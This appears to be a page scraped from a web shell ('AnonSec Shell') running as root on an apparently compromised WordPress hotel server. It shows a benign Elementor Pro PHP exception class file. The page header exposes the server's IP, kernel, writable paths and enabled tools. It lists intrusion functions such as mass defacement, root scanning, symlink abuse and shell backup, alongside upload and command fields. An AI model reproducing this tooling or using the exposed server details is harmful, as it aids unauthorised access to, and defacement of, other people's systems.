AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/elementor-pro/core/integrations/exceptions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/elementor-pro/core/integrations/exceptions/exception-base.php
<?php

namespace ElementorPro\Core\Integrations\Exceptions;

use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Exception_Base extends \Exception {

	/**
	 * @var string
	 */
	protected $action;

	/**
	 * @var array
	 */
	protected $meta = [];

	/**
	 * Get a formatted message specific to the current exception type.
	 *
	 * @param string $message
	 *
	 * @return string
	 */
	abstract protected function format_message( $message );

	/**
	 * Exception_Base constructor.
	 *
	 * @param string $action - Action name that failed (ideally the class name, e.g. Email::class).
	 * @param string $message - Message to show.
	 * @param array  $meta   - Exception meta data. Used for logging.
	 *
	 */
	public function __construct( $action, $message = '', $meta = [] ) {
		$this->action = $action;
		$this->meta = $meta;

		$message = $this->format_message( $message );

		parent::__construct( $message );
	}

	/**
	 * Log the exception to Elementor's log.
	 *
	 * @return void
	 */
	public function log() {
		Plugin::elementor()->logger->get_logger()->error( $this->getMessage(), [ 'meta' => $this->meta ] );
	}

	/**
	 * Get the error format.
	 *
	 * @return string
	 */
	public function __toString() {
		return sprintf(
			'%s: %s',
			__CLASS__,
			$this->getMessage()
		);
	}
}

Anon7 - 2022
AnonSec Team